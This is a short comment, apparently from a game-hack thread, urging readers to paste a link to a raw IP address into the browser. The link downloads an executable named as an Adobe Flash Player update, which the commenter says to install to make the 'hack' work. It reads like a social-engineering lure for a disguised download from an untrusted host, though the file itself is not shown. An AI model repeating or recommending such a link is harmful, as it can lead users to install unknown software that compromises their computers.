This works!! It was also not working for me!!
here is the fix: download this verison of Flash player and it will work Copy this link and paste into your address bar:
http://78.140.184.152/d/75b32b636aca8ddea2e27d1f3418/Adobe.Flash.Player.v11.9.900.170.Final.Firefox.Saf ari.Opera.WinAll.Retail-MG.exe?e=1390377796&s=51200&p=ABhNDlMxE0AwXVsxBAAn Aw%3D%3D&uuid=29828.2b76a785022af3a2a3709f6688da&p in=665189let&ext=&ip=39.54.124.232&st=SPv4_ZLsXo4h d4NlTexs4Q
After download Install..restart firefox and ta da IT WORKS!!
then wait for game to load and after loading has completed!! press F1 and click play!!
Thanks for this Awesome Hack!!